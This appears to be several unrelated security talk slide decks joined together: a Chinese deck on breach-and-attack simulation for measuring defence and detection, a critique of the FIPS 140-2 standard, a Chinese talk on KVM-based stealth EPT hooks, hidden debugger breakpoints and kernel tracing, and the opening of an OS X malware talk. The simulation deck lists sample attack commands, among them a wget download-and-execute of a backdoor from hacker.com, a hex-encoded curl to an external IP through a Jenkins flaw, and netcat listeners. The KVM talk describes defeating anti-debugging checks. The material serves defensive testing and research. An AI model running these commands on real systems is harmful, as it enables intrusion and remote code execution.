如仅依靠蓝军或外采渗透测试,案例数量
较少、时间上不连续、可能遗漏、成本高
•
安全水位无法量化,建设效果难以衡量
•
从攻击者视角对企业基础设施进行持续的自动化安全测试
•
针对安全措施失效、蓝军成本高的问题
•
定义模型量化当前安全水位,发现问题,反哺防御检测能力
•
->解决无法量化的问题
•
2017年,Gartner将入侵攻击模拟技术(BAS)列为威胁对抗Hype Cycle
中的新类别
•
如何对入侵攻击场景进行威胁建模并分级
•
如何持续、尽量真实地测试并避免稳定性问题
•
防御、检测水位如何量化评估
•
什么是入侵攻击模拟
•
要解决的问题
•
存在的挑战
•
入侵攻击模拟演练
•
机制简介
•
突破入口模拟
•
防御水位衡量
•
模拟演练机制简介
•
检测/响应水位衡量
•
其他业务场景落地
杀伤链模型
攻击行为模拟
-->衡量检测响应水位
突破入口模拟
-->衡量防御水位
寻找突破入口
实施恶意行为
阻止攻击
检测响应修复
“利用成功”前后
攻防重点不同
攻击方
防守方
模拟演练方
脚本小子
专业蓝军
国家顶尖
技术水平一般,
主要利用现成
工具;资源少
技术水平较高,
自行编写工具;
资源较多
技术水平高,
可能使用0day;
资源丰富
•
什么是入侵攻击模拟
•
要解决的问题
•
存在的挑战
•
入侵攻击模拟演练
•
机制简介
•
突破入口模拟
•
防御水位衡量
•
模拟演练机制简介
•
检测/响应水位衡量
•
其他业务场景落地
录入测试
插件
原子能力
测试
随机拨测
回归测试
枚举入侵
威胁
防御措施
?
拦截
未拦
防御措施
防御措施
变更
攻击1
攻击2
攻击3
…
攻击1
攻击2
攻击3
…
优化防御策略
目标入口
攻击向量
绕过手法
恶意行为
Web通用组件-Jenkins
(脚本语言为Groovy)
远程命令执行漏洞
CVE-2018-1000861
编码-十六进制编码
(Groovy原生支持hex和base64)
连接恶意网站-curl
120.26.xx.xx:23333
“curl 120.26.xx.xx:23333”的十六进制
编码
目标入口
Target of Attack/
Vulnerable Point
攻击向量
Attack Vector/
Vulnerability
绕过手法
Bypass/Escape/
Encoding
恶意行为
Shellcode/Command/
Malicious Outcome
Web服务及组件
其他服务
自研服务/组件
通用服务/组件
注入
服务端请求伪造(SSRF)
不安全的反序列化
访问控制存在问题
…
X
X
X
编码
语法语义
架构/性能
数据渗出
后门植入/持久化
权限提升
凭证窃取
自研服务/组件
通用服务/组件
…
•
什么是入侵攻击模拟
•
要解决的问题
•
存在的挑战
•
入侵攻击模拟演练
•
机制简介
•
突破入口模拟
•
防御水位衡量
•
模拟演练机制简介
•
检测/响应水位衡量
•
其他业务场景落地
目标入口
攻击向量
攻击类型
绕过手法
恶意行为
POC
测试时间
拦截
情况
目标1
向量1
类型1
绕过1
行为1
…
时间1
✅
目标2
向量2
类型2
绕过2
行为2
…
时间2
❌
目标3
向量3
类型3
绕过3
行为3
…
时间3
✅
…
…
…
…
…
…
…
…
测试结果汇总
攻击类型
拦截数/
攻击数
未拦截
详情
命令执行
…/…
…
SQL注入
…/…
…
…
…
…
总计
…/…
…
原子能力衡量
目标入口
拦截数/攻
击数
分析
目标1
0/100
未接入防御措施
目标2
36/100
防御措施不足
…
…
…
随机拨测
回归测试
测试
样例
测试时间
(变更前)
拦截
测试时间
(变更后)
拦截
分析
攻击1
…
✅
…
✅
正常
攻击2
…
✅
…
❌
变更导致
防御失效
…
…
…
…
…
…
总计
…
100
…
88
需回滚
•
什么是入侵攻击模拟
•
要解决的问题
•
存在的挑战
•
入侵攻击模拟演练
•
机制简介
•
突破入口模拟
•
防御水位衡量
•
模拟演练机制简介
•
检测/响应水位衡量
•
其他业务场景落地
演练剧本
编排
攻击指令
执行
反入侵团
队介入
演练报告
生成
l 随机化剧本生成
Ø 机器数
Ø 应用范围
Ø 攻击阶段
Ø 。。。
攻击路径生成
Ø后门植入
Ø命令与控制
Ø持久化
Ø数据窃取
Ø。。。
攻击手法分配
输入参数
Ø后门植入
Ø命令与控制
Ø持久化
Ø数据窃取
Ø。。。
HOW?
1. wget http://hacker.com/backdoor
2. chmod +x backdoor
3. ./backdoor
4. …
攻击手法序列
攻击命令序列
l 攻击手法组件化(已集成300+手法)
突破入口
后门植入
命令与控制
权限提升
持久化
。。。
Fastjson反序列化
wget下载
Bash反弹shell
dirty cow
crontab
定时任务
CVE-2018-
1000861
curl下载
http后门
sudo
Linux创建用户
。。。
。。。
。。。
。。。
。。。
l 攻击手法组件化
目录发现
shell.run(“ls /”)
http后门
shell=remote(“nc –lvv port”); path
wget下载执行
wget URL –O path; chmod +x path
参数传递(path)
参数传递(shell)
后门植入
命令与控制
发现
•
什么是入侵攻击模拟
•
要解决的问题
•
存在的挑战
•
入侵攻击模拟演练
•
机制简介
•
突破入口模拟
•
防御水位衡量
•
模拟演练机制简介
•
检测/响应水位衡量
•
其他业务场景落地
l ATT&CK矩阵维度
突破入口
后门植入
命令与控制
。。。
可检测手法数
30
20
45
总手法数
40
20
50
比例
75%
100%
90%
l 事件等级评定(单次事件纬度)
将各维度得分相加
Ø 0 ~ 5分
脚本小子级别
Ø 5~10分
专业蓝军级别
Ø >=11分
国家顶尖级别
项目\得分
0分
1分
2分
机器数量
<5
5~10
>10
Attck子矩阵覆
盖数量
<=3
4~6
>=7
…
…
…
…
l 检测水位衡量矩阵(单次事件纬度)
突破入口
后门植入
命令与控制
。。。
进程
❌
✅
✅
网络
✅
✅
❌
文件
/
/
✅
。。。
。。。
。。。
。。。
l 响应水位衡量
突破入口
后门植入
命令与控制
。。。
止血
。。。
溯源
✅
✅
❌
。。。
。。。
。。。
。。。
•
什么是入侵攻击模拟
•
要解决的问题
•
存在的挑战
•
入侵攻击模拟演练
•
机制简介
•
突破入口模拟
•
防御水位衡量
•
模拟演练机制简介
•
检测/响应水位衡量
•
其他业务场景落地
•
能力稳定性日常拨测
每日随机演练,确保IDS告警产出的稳定性
•
能力回归测试
IDS有更新时自测有效性后再上线
•
历史入侵事件复现
通过构造特定剧本,沉淀历史入侵事件用于复测 | pdf |
We are Here to Help:
How FIPS 140 Helps (and Hurts) Security
Agenda
● Who Am I?
● Background
● What is FIPS 140?
● How the validation process works
● Look at the Requirements
● Best/Worst of the Requirements
● What does the future hold?
● Closing/Q&A
Who is l0stkn0wledge?
● Work directly with FIPS 140
● Over five years experience
● Seen hundreds of various implementations
● Outside Interests
● Programmer
● Lock picker
● Security Enthusiast
Why am I Here?
● Want to shine a new light on security standards
● Standards often maligned by people as meaningless
● I suggest they are a good starting point
● Some guidance better than none at all
● Standards don't protect against everything
● Standards become dated take long to maintain
● Enforcement is still on the administrator or end-user
● Can provide a false sense of security
What is FIPS 140?
● Federal Information Processing Standard 140
● Defines requirements for cryptographic systems for
use in sensitive government systems
● Cryptographic Module Validation Program (CMVP)
● National Institute of Standards and Technology
● Communications Security Establishment of Canada
● Has begun seeing acceptance in other non-
government arenas
Past, Present, and Future of FIPS 140
● Previous revision was FIPS 140-1
● Originally published in 1994
● Items tested under this standard are still valid
● The current standard if FIPS 140-2
● Originally published in 2001
● The future is with FIPS 140-3
● Currently in draft form, publishing date unknown
● Drafting of the standard began in 2005
How Does the Process Work?
● Validations are handled by three parties
● Product vendors
● Accredited Labs (Over 15 labs exist)
● CMVP (both NIST and CSEC)
● Number of labs leads to variance in the testing
process
● Government reviews lab reports and issues
certificates
Diving into the Requirements
● Three key components to FIPS 140-2
● FIPS 140-2 Standard
● FIPS 140-2 Derived Test Requirements (DTR)
● FIPS 140-2 Implementation Guidance (IG)
● Requirements are divided into eleven sections
● Four increasing levels of security defined
● All documents are available from NIST
● http://csrc.nist.gov/groups/STM/cmvp/standards.html
FIPS 140-2 Standard
● The core of FIPS 140
● Original document from which the other two are
derived
● Defines the requirements of the standard and the
terminology used
● The document can sometimes be vague and open to
interpretation
Derived Test Requirements
● Much longer document that details required
information
● Organized into Assertions (AS)
● Direct statements taken from the standard
● Each AS may contain:
● Vendor Evidence (VEs)
● Documentation and implementation required from
vendors
● Tester Evidence (TEs)
● Requirements of documentation review and testing for
the labs
Implementation Guidance
● Smallest of the documents
● Intended to provide clarification of other documents
● Supposedly cannot introduce new requirements
● This doesn't really hold true
● Ties back to both the Standard and the Derived Test
Requirements
Document Mapping
Eleven Sections of Security
1.Cryptographic Module
Specification
2.Cryptographic Ports and
Interfaces
3.Roles, Services and
Authentication
4.Finite State Model
5.Physical Security
6.Operational
Environment
7.Cryptographic Key
Management
8.EMI/EMC
9.Self-Tests
10.Design Assurance
11.Mitigation of Other
Attacks
Take Out Documentation Requirements
1.Cryptographic Module
Specification
2.Cryptographic Ports and
Interfaces
3.Roles, Services and
Authentication
4.Finite State Model
5.Physical Security
6.Operational
Environment
7.Cryptographic Key
Management
8.EMI/EMC
9.Self-Tests
10.Design Assurance
11.Mitigation of Other
Attacks
Cryptographic Module Specification
● Defines the approved behavior of the validated
module
● At Level 1 and 2, the behavior is enforced by user
configuration.
● Potential for errors to be injected in the method
● Policies can be inconsistent and vague
● At Level 3 and 4, the behavior is enforced through
configuration.
● Stronger restriction but can be limiting to users
Cryptographic Module Ports and Interfaces
● Views the module as a black box
● Defines requirements for types of data flow
● At Level 1 and 2, no physical or logical separation
of critical data
● At Level 3 and 4, physical or logical separation of
critical data entry/output. Plaintext keys entered via
“trusted path” or directly attached cable.
Roles, Services and Authentication
● The name says it all
● At Level 1, no authentication
● At Level 2, role-based authentication
● No accountability
● Password lengths can be enforced through policy
● At Level 3 and 4, identity-based authentication
● Users are uniquely identified and credentialed
● Password requirements are system enforced
Password Requirements
● Fall well short of required security
● 1 in 1,000,000 chance of success
● Met by a simple 4-character alphanumeric password
● No restriction on types of passwords
● 1 in 100,000 chance of multiple successes
● Typically enforced via lockout
● Ignores long-term attacks, requirement based on one
minute
● The future might be brighter (more to come)
Physical Security
● Not applicable to software modules
● Requirements divided by module embodiment
● Single chip, multi-chip standalone, multi-chip
embedded
● No physical security at Level 1
● At Level 2, opacity and tamper evidence
● At Level 3, tamper response
● At Level 4, tamper detection
What is Opacity?
● Subjective requirement on visibility of system
internals
● Ventilation can be tricky for many networking
modules
● The interpretation has changed over time
● Previously seeing make/manufacture of components
was required
● Now it seems even profile and outline of components
is sufficient visibility
Opacity Examples
Tamper Evidence and Response
● At Level 2, it must be apparent an attacker
compromised the module
● Limited testing makes this a weak requirement
● Labs cannot “add new materials”
● At Level 3, the module must respond to tamper if
doors/covers removed
● Stronger requirement for modules with doors/covers
● Requires keys to be zeroized and includes
requirements for powerless zeroization
Operational Environment
● At Level 1, “single-user mode”
● Definition has changed over time
● Original definition is unrealistic
● At Level 2+, the requirement for CC validated
operating systems
● Greatly limits the platforms that can be supported
● Questionable improvement of security over Level 1
Cryptographic Key Management
● Random Number Generation
● Key Generation
● Key Establishment
● Key Entry/Output
● Only requirements that varies across levels
● Key Storage
● Requirements are mostly meaningless
● Key Zeroization
Random Number and Key Generation
● Requirements for approved RNGs
● Only deterministic RNGs are listed as approved
● Symmetric key generation just makes use of
approved RNGs
● Asymmetric key generation must follow approved
methods
● Methods are described in FIPS 140-2 Annex A
● Currently includes FIPS 186-2/3 and ANSI X9.31
Key Establishment and Entry/Output
● Requirements vary by distribution method
● Manual Distribution
● Largely impractical but relatively secure methods
● Secure Carrier, Key loader, tokens, etc.
● Electronic Distribution
● Keys over unsecured media (LAN, WAN, etc.)
● TLS, SSH, Diffie-Hellman
● Manual distribution can be plaintext at low levels
● Electronic distribution is always encrypted
Key Storage and Zeroization
● No requirement for the form of stored keys
● Other requirements for storage are vague at best
● “Association” of key and “entity”
● Key zeroization is simply overwriting of keys
● Using 0's, 1's or random data
● This service needs to exist for all plaintext keys
● Can be performed procedurally, doesn't need to be
automatic (except for tamper at Level 3/4)
Self-Tests
● Power-up Self-Tests
● Health checks of the approved algorithms
● Integrity tests for firmware/software
● Conditional self-tests
● Performed on certain operations
● Continuous RNG Test
● Pairwise consistency test
● Firmware load test
● Bypass Test
● Manual Key Entry Test
Best and Worst of the Requirements
Best
1.Enforcing stronger
algorithms
2.Physical security at
higher levels
3.Bypass tests
Worst
1.Limitations on physical
security testing
2.Limited zeroization
requirement
3.Hardware centric
4.No key storage
protection required.
5.Ignorant of side-channel
attacks
The Future is Yet to Come
● New revision of the standard is being drafted
● FIPS 140-3, over 7 years in development
● New requirements when (if) available:
● Authentication enforced by module, no more end-
user control over password length, format, etc.
● Side-channel testing requirements at higher levels, at
a minimum for single-chip modules
● Improved zeroization requirements, limitations of
procedural zeroization
The Future is ???
● Unclear, the timeline has been changed before
● Best guesses are 2012/2013
● New requirements analysis is purely speculative
● Current public draft is dated
● Newer NIST internal drafts likely have some changes
● Improvement over FIPS 140-2, still not perfect
Summary
● FIPS 140-2 provides some good requirements that
can improved upon baseline security
● While it is a good first step, it doesn't guarantee you
are any safer
● Recommend incorporating some of the good into
projects
Important Links
● http://csrc.nist.gov/groups/STM/cmvp/
● http://csrc.nist.gov/groups/STM/cavp/
● http://csrc.nist.gov/groups/STM/cmvp/standards.htm
●
Q&A | pdf |
程聪 阿里云安全-系统安全专家
基 于 硬 件 虚 拟 化 技 术 的 新 一 代 二 进 制 分 析 利 器
自我介绍
现就职于阿里云安全-系统安全团队
主要研究方向:
•
病毒检测
•
主机安全
•
内核安全
•
虚拟化安全
•
二进制攻防
演讲内容
•
背景介绍
•
QEMU/KVM简介
•
无影子页ept hook
•
虚拟化调试器
•
内核级trace
•
总结
背景介绍
大家先来看下左边这张图片,搞内核安全的应该不陌
生。windows x64内核引入patchguard后,对内核
敏感部分,进行patch、hook,修改msr、IDT表等
操作,都会触发蓝屏
从PatchGuard谈起
但是有很多场景还是需要对内核进行hook,安全研
究人员发现可以借助硬件虚拟化特性,实现ept hook,
来兼容patchguard
传统的ept hook一般使用影子页来实现,我们发现这
种方法存在一些问题。本次分享会介绍一种新方法,
巧妙解决这些问题
要实现ept hook,首先需要一个类似左图的虚拟化平
台,提供整体的框架
虚拟化平台
从图中能看出,开发一个完整的vmm工作量太大,所
以我们选择基于现有的虚拟化平台进行二次开发,但
一些专注安全领域的开源平台如hyperplatform,或
多或少都存在各种各样的问题,最终我们选择了基于
qemu\kvm做二次开发
本次分享会介绍如何基于qemu\kvm,快速打造无影
子页ept hook,虚拟化调试器、内核级trace工具
vcpu manager
memory manager
device manager
interrupts
paravirtualization
vmm
…
•
代码完善度高,鲁棒性好,稳定性高,性能开销小
•
支持windows、linux等多种guest os
•
背靠linux内核,各种基础设施齐全,方便二次开发
•
在云上广泛使用,环境不会被特殊针对
•
支持gpu透传和虚拟化,可以运行图形化程序
•
支持嵌套虚拟化,可以运行vmm程序
为什么选择QEMU/KVM
相比于hyperplatform等虚拟化平台,qemu\kvm有以下优势
QEMU/KVM简介
QEMU/KVM整体架构
如左图所示,guest操作系统在(ring 0)上运行,同时
vmm运行在具有更高特权级别(ring -1) 上。执行系
统调用等不涉及关键指令的指令,vmm不会介入。这
样guest操作系统就可以为其应用程序提供高性能的
内核服务。当guest使用特权指令(比如cpuid),或者
发生异常时会产生vmexit,从guest退出到host中,
host处理完成后,再通过vmentry回到guest
cpu虚拟化
HPA
PA
HVA
G
内存虚拟化
没有虚拟化的情况下,内存地址翻译如左图所示,只有VA->PA
virtual machine1
process1
VA
G
<--CR3
EPT-->
qemu
linux host
在存在虚拟化的情况下,GVA->GPA的翻译发生在虚拟机内部
GPA并不是最终的物理内存,还需要通过EPT翻译成HPA,才完
成整个内存访问
qemu的HVA也映射为HPA,所以一般来
说GPA对应着qemu的HVA
EPT翻译过程跟普通页表类似,也是通过多
级页表实现,手动去掉页表项某些权限,就
可以达到监控和欺骗的目的
EPT相关操作都在host上进行,对guest内核
和应用程序不可见,从而可以进行降维打击
无影子页ept hook
影子页ept hook
•
如右图,我们在原始页页面的基础上,创建
一个只有X权限影子页,原始页保留RW权限,
并在影子页上进行hook,修改头部指令为jmp
•
当有cpu执行此页时,就会触发hook逻辑
•
当有cpu读取此页时,由于影子页只有X权限,
会产生ept violation,从而vmexit到host,host
将页面切换成原始页(RW)进行读写,cpu会读取到
原始的内容,我们达到了欺骗(无痕)的效果
•
下次cpu再执行原始页(RW)时,同样会触发异常
,我们再将页面切换回影子页(X)执行
这种方法存在什么问题?
存在的问题
•
在影子页(X)上执行mov rcx,[rip]时,会读
取当前页面,由于当前页面只有X权限,
会产生异常并切换到原始页(RW)去执行
读取,由于RW页没有X权限,又会产生异
常并切换回影子页(X),来回切换进入死锁
遇到右图自己读写自身页面的指令会怎么样?
这种读写自身页面的场景很常见,比如
•
switch case语句,在某些情况下会在当前
代码页面,编译生成jump table,这种情
况在windows内核中很常见
•
代码自修改,这种在用户态中比较常见,
比如一些壳、对抗代码中
我们如何改进?
改进后的解决方案
如右图所示,改进后的方案不去除原始页的X权
限,遇到页面自读写的指令,从X切换到RWX,
原始页可顺利执行此指令
在执行完此指令后,我们需要切换回影子页(X),
否则后续cpu执行时hook逻辑不再生效,这个
切换回去的方法一般通过设置MTF来实现
MTF:全称是Monitor Trap flag,可以理解为单
步异常,当host设置该标志位时,回到guest执
行完一条指令后会触发vmexit,exit理由为
MTF
改进后还有什么问题?
依旧存在的问题
如右图,由影子页(X)切换到原始页
(RWX)单步执行时,如果其他核正在执
行此页面,会出现hook失效
如何规避这种情况?
出现这个问题的主要是因为一个核的页
面权限影响了另外一个核,可以给每个
核设置一套自己的EPT页表来规避,但
是这种方法内存占用多,性能损耗很大
类似kvm这种商业化落地的vmm,由于
性能等因素一般都是共用一套EPT页表,
这种情况下,我们如何解决这个问题?
思考
从前面可以看到,进行ept hook最核心的点是要页面切换,为什么要切换,是为了欺骗cpu读写
,让其读写到修改前的页面内容
答案是模拟执行
有没有不切换页面,同时可以欺骗cpu读写的方法?
总结来说就是,涉及非ept异常的页面如
mov rbx,[0x2000],使用真实执行,涉
及到ept异常页面,如mov rax,[0x1000],
会产生读取异常并触发模拟执行
模拟执行
引入了模拟执行,整个过程就变得非常
容易,不再需要影子页
大家看右图,我们将原始页面的RW权
限去掉只保留X权限,假设我们的页面地
址是0x1000,我们修改头部指令为jmp
就可以实现hook。当有cpu执行mov
rax,[0x1000]读取页面时,产生异常并
vmexit,host接管并模拟执行此指令,
模拟涉及到被修改的指令都用原始指令
替换,这样cpu读到的就是修改前的sub
rsp,88h指令
模拟器选择
其实KVM本身就自带了一个x86模拟器,我们可以直接使用
具体的代码在arch\x86\kvm\emulate.c
只需要对其中的部分模拟函数进行修改,在读取某些指令时,用原始指令替换即可
这样我们就通过ept + 模拟器实现了无影子页ept hook,解决了影子页存在的问题
有了前面模拟执行的方案,我们选择什么模拟器呢?unicorn?bochs?
基于这种软硬结合的思路,我们还很容易就能实现虚拟化调试器、内核级指令trace等其他工具
虚拟化调试器
什么是虚拟化调试器
断点机制
调试管理程序
异常事件分发
断点管理
模块管理
符号管理
…
虚拟化加持
这里所说的虚拟化调试器指的就是将调试框
架中,易被对抗的部分使用虚拟化来实现,
比如断点机制、异常事件分发,使用虚拟化
加持后,传统的反调试方法对我们完全无效
异常事件分发涉及的点比较多,我们今天重
点来介绍下虚拟化实现断点机制,断点分为
软件和硬件断点,我们先来介绍下软件断点
如左图,一般的调试器需要有断点机制、异
常事件分发、调试管理程序三个部分
软件断点原理
软件断点在x86中就是指令int3,它的
二进制代码opcode是0xCC,当程序执
行到int3指令时,会引发异常。随后操
作系统会将异常抛给调试器,从而调试
器就有了处理断点的机会
软件断点需要写入指令,因此很容易被
对抗,常见的对抗方法有crc,函数头
部检测等
软件断点检测实例
此例子循环的进行一些文件操作,同时会不停的检测CreateFileW头部指令,如果我们在调试时
给CreateFileW下软件断点,调试器就会写入0xcc,程序会检测到并弹窗退出
如何隐藏软件断点?
隐藏软件断点
有了前面ept hook模拟执行的方法,隐
藏软件断点就变得非常容易,只需要把
原来hook插入的jmp修改成int3即可
当cpu执行X页面时,遇到int3会产生异
常,调试器可以接收到异常并处理
如右图mov rax,[0x1000]指令去读取
0x1000时,由于页面只有X权限,会触
发ept violation,被kvm接管后进入模
拟执行逻辑,模拟执行会欺骗cpu,返
回0x1000中的原始内容sub rsp,88,达
到隐藏断点的目的
编写虚拟化调试器
从头开发存在以下问题
•
工作量巨大
•
UI交互不如商业化产品友好
•
用户切换成本高
断点机制
异常事件分发
虚拟化加持
调试管理程序
因此我们选择去适配加持市面上已经成熟的
调试器如x64dbg,ida,这样一方面切换成
本低,一方面更加稳定
x64dbg、ida
x64dbg这类开源调试器很好适配,但是ida
等一些调试器不开源,如何在不进行任何
patch的情况下进行适配加持?
介绍完了隐藏软件断点的原理,我们该如何
编写具有隐藏软件断点的调试器呢?
类似HyperDbg这样从头开发?
加持现有调试器
如左图,是ida下软件断点的过程,我们可以通
过hook捕获到这种行为
向被调试进程写入int3
WriteProcessMemory
NtWriteVirtualMemory
MmCopyVirtualMemory
vmcall handler
R3
R0
R-1
check bp
ept
hook
vmcall
add hidden int3
有了虚拟化后,我们对MmCopyVirtualMemory
进行ept hook,检测是否是调试器在下断点,
随后将事件通过vmcall转发给kvm,kvm接收
到事件后,将int3断点转化成隐藏断点
隐藏软件断点演示
左图就是前面软件断点检测
的例子,当我们在
createfilew下断点后,kvm
会感知到并将createfilew所
在地址0x7FFDFE422090对
应的物理页设置成只保留X权
限,并写入0xcc,当
0x7FF6464E1058处指令
cmp byte ptr[rax],0xcc读取
0x7FFDFE422090时,会触
发模拟执行,cpu会读取到原
始指令
从下面kvm日志中能看到此
次模拟执行的rip,vcpu等信
息
隐藏软件断点视频演示
只需要将ida等调
试器放入
vt_hidden目录
下,无需任何修
改patch,就能
获得虚拟化加持,
绕过检测
容易踩的坑
•
guest 内存被交换到磁盘
•
copy on write问题
•
qemu 换页导致ept失效
mdl锁住内存,防止换页
写入一份相同内存的内容,保证当前GVA-
>GPA唯一性
qemu启动命令行添加mlock,防止qemu
进程换页
硬件断点原理
x86提供8个调试寄存器(DR0~DR7)用
于硬件调试。其中前四个DR0~DR3是硬
件断点寄存器,可以放入内存地址或者IO
地址,还可以设置为执行、修改等条件,
CPU在执行到满足条件的指令就会自动停
下来,一般用于监控数据读写,因此也叫
做数据断点。硬件断点十分强大,但缺点
是只有四个,同时也比较容易被检测
硬件检测实例
此例子循环读取变量并打印,如果我们在
调试时给global_var下硬件读写断点,调
试器会将global_var的地址写入Dr0,程
序通过GetThreadContext检测到Dr0中存
在有效地址,命中硬件断点检测逻辑,进
入异常流程,弹窗并退出
如何隐藏硬件断点?
隐藏硬件断点
从右图可以看到隐藏硬件断点跟
隐藏软件断点原理基本类似,差
别在于不需要patch内存,以读
写断点为例,只需要去掉页面
RW权限。在命中时根据当前线
程、断点进行匹配,匹配成功后
kvm会向guest注入#DB,x86硬
件断点只有4个,用了我们这种
模拟实现,可支持“无限硬断”
注入#DB的实现比较简单,直接
调用kvm现有的中断注入函数即
可
如何获取guest当前线程?
kvm中获取guest当前线程
Guest里面如何获取当前线程?
1、kvm中直接执行这段代码?
2、gsbase + kvm_read_guest_virt?
直观能想到的获取方法
为什么需要修正?修正后为什么还是读取失败?
以上是windows x64内核获取当
前线程的代码,可以看到实现非
常简单,直接获取的gs:188h
•
显然不行,gs不是guest的,并且cr3已经
切换到host,guest内存空间不可直接访问
•
gsbase虽然是vmexit时guest的gs,但测
试发现它不正确,需要修正
•
修正后我们再用kvm_read_guest_virt去读
取,发现依旧读取失败
失败原因分析
经过研究发现,我们模拟的硬件断点触发
vmexit的时机是R3,此时的gs指向teb,
只有在R0时,gs才会指向kpcr,
KeGetCurrentThread才能正确索引
如左图,KiSystemCall64Shadow是系统
调用入口函数,可以看到第一条执行的就
是swapgs,这个指令研究过cpu投机执行
的应该不陌生,根据intel手册它会将
GS.base=MSR.C0000102H(IA32_KERNE
L_GS_BASE)
因此我们只需要在kvm中获取
MSR.C0000102就能得到正确的gsbase,
获取msr有现成的函数vmx_get_msr
kvm_read_guest_virt失败的原因类似,
当vcpu.cpl=3时,会导致这个函数鉴权失
败,我们需要用更底层的函数来绕过
隐藏硬件断点视频演示
内核级trace
插桩实现指令trace
左图是基于intel pin二进制插桩,实现的trace工
具,它可以trace出ls程序执行的指令序列
实际的指令trace信息会比图中更全面,在脱壳、
去vmp虚拟化、二进制分析等场景都能用到
但是intel pin等常见的二进制插桩工具目前都不
支持内核态,我们如何借助硬件虚拟化来实现内
核态trace?
内核级trace
xxx.sys
加载回调
emulator
单步
去除代码段
X权限
entry
trace log
插桩
也有一些其他生成内核级trace的方法,比如在调
试器中生成,纯QEMU模拟生成,对比它们,我
们使用EPT+模拟器软硬结合的方法,性能消耗更
小,噪音更小,更不容易被对抗
整体思路还是真实执行+模拟执行,左边是我们
将一个驱动程序xxx.sys生成trace的全过程
总结
总结
我们介绍了如何基于硬件虚拟化特性,配合模拟器,实现无影子页ept hook,解决了传统方法存
在的问题。同时介绍了如何基于qemu\kvm快速打造虚拟化调试器、内核级trace工具
Q/A
欢迎添加我的微信进一步交流!
程聪
ID:
kingofmycc
昵称:
Ae0LuS | pdf |
unixsocket
0x00
httpburphttptcptcptcpdump
tcp
sslvpnunixsocket
unixsocket
0x01 unix socket
unix socketsockettcpudpunixsocketsocket
unixsocketsocket
tcpsocketunixsocket
unixsocket
netstatunixsocket
webunixsocket
netstat
netstat -alnp
unixsocketunixsocket
0x02
#!/bin/bash
#!/bin/bash
# Parameters
socket="/run/foo.sock" //unixsocket
dump="/tmp/capture.pcap" //
# Extract repetition
port=9876 //tcp
source_socket="$(dirname "${socket}")/$(basename "${socket}").orig" //
# Move socket files
mv "${socket}" "${source_socket}" //mvsocket
trap "{ rm '${socket}'; mv '${source_socket}' '${socket}'; }" EXIT //trap
rm xxxx
# Setup pipe over TCP that we can tap into
socat -t100 "TCP-LISTEN:${port},reuseaddr,fork" "UNIX-CONNECT:${source_socket}" &
socat -t100 "UNIX-LISTEN:${socket},mode=777,reuseaddr,fork" "TCP:localhost:${port}" &
//socatunixsockettcptcpdumptcptcpunixsocket
# Record traffic
//tshark -i lo -w "${dump}" -F pcapng "dst port ${port} or src port ${port}"
tcpdump -i lo -w "${dump}" "port ${port}" //tsharktcpdumptcpdump
1. unixsocket
2. unixsocketmvfd
3. socatunixsocket
4. socatsocketsocattcp
5. sockettcpsocket
6. tcptcpdump
0x03
socatsocatsocatsocat
unixsocket
tcpdumpwireshark
tcptcp follow
payloadxml
0x04
unixsocket | pdf |
Vendor Name
PART NUMBER
DESCRIPTION
QTY.
Price(USD)
Total Price(USD)
Total Weight ABS
(Grams)
McMaster-Carr
4687T110
Thick-Wall Dark Gray PVC
Threaded Pipe 1/4 Pipe Size X 2'
Length, Threaded Ends
1
10.01
10.01
0
McMaster-Carr
8585K11
Impact-Resistant Polycarbonate
Round Tube 3/8" OD, 1/4" ID,
Clear
2
0.77
1.54
0
McMaster-Carr
97155A639
Plastic Dowel Pin 1/4" Diameter,
3/4" Length, Acetal
2
0.14
0.28
0
McMaster-Carr
1414T36
Syntactic Foam Buoyancy
1
20.55
20.55
0
McMaster-Carr
5236K527
High-Temperature Silicone
Rubber Tubing Very Soft, 3/4" ID,
7/8" OD, 1/16" Wall Thk
4
1.75
7.00
0
McMaster-Carr
98286A453
Black Nylon 100 Deg Flat Head
Machine Screw Slotted, 4-40
Thread, 1" Length
4
0.06
0.24
0
McMaster-Carr
98286A432
Black Nylon 100 Deg Flat Head
Machine Screw Slotted, 4-40
Thread, 1/2" Length
12
0.06
0.72
0
MEGABATTERIES
16915
Camelion CR2330
60
0.90
54.00
0
Sparkfun
TOL-09509
30W 110V Heating Element
4
3.95
15.80
0
Mouser
AQZ107_200VDC-1.3A-Load_3-5VDC_switch
Mouser P/N: 769-AQZ107
Price:$9.67 Digikey P/N: 255-
2698-ND Price:$11.00
4
11.00
44.00
0
Mouser
NSCSHHN015PAUNV
Honeywell TruStability NSC 15Bar
Absolute Analog Pressure
Transducer
1
30.05
30.05
0
3D Robotics LLC
3DR_GPS_NEMA
MediaTek MT3329 GPS V2.0
1
37.95
37.95
0
HobbyKing
9387000008
MultiWii MicroWii ATmega32U4
Flight Controller
USB/BARO/ACC/MAG
1
33.99
33.99
0
Printed
Nose_Assembly_Part_1of3
1
65.17
Printed
Nose_Assembly_Part_2of3
1
10.33
Printed
Nose_Assembly_Part_3of3
1
10.2
Printed
Nose_Body_Assembly_1of4
1
142.03
Printed
Nose_Body_Assembly_2of4
1
51.61
Printed
Nose_Body_Assembly_3of4
1
18.33
Printed
Nose_Body_Assembly_4of4
4
10.56
Printed
Body_Assembly_Outer_Shell
1
132.9
Printed
Body_Assembly_Inner_Shell_1of2
1
13.33
Printed
Body_Assembly_Inner_Shell_2of2
1
95.96
Printed
Body_Assembly_NACA_Wing_1_and_2
2
117.66
Printed
Tail_Assembly_Part_1of1
1
14.92
Total Printed ABS(Grams)
683
Total Cost Printed Parts:
(at $31.00/kg)
21.17
Total BoM:
277.30 | pdf |
-[ Past and Future in OS X Malware ]-
1
Who Am I
§ An Economist and MBA.
§ Computer enthusiast for the past 30 years.
§ Someone who worked at one of the world’s best ATM
networks, the Portuguese Multibanco.
§ A natural-born reverser and assembler of all kinds of
things, not just bits & bytes.
2
Who’s noar
§ Self-taught researcher.
§ Consultant / Insultant in security software.
§ Former Apple BlackOps.
§ Uses a Mac since AAPL was $12.
§ Bought no shares at that time!
§ Never pwned, although he dares to open my PowerPoint
files.
3
Objective
§ Starting point: Macs are immune to malware.
§ Latest Flashback variants broke THE myth.
§ In fact, it’s quite easy to write high quality OS X malware!
§ That’s what I want to demonstrate today.
4
Summary
§ OS X malware history.
§ Flashback, the mythbuster.
§ Code injection techniques.
§ OS.X/Boubou – A PoC infector/virus.
§ Privilege escalation.
§ Final remarks.
5
History – From lamware to malware
History & glory are not made of:
§ Backdoors written in REALBasic.
§ Old IRC bots.
§ Keyloggers that use Universal Access (logKext rules
them all).
§ PoCs (except mine!).
6
History – Lamware, 2006
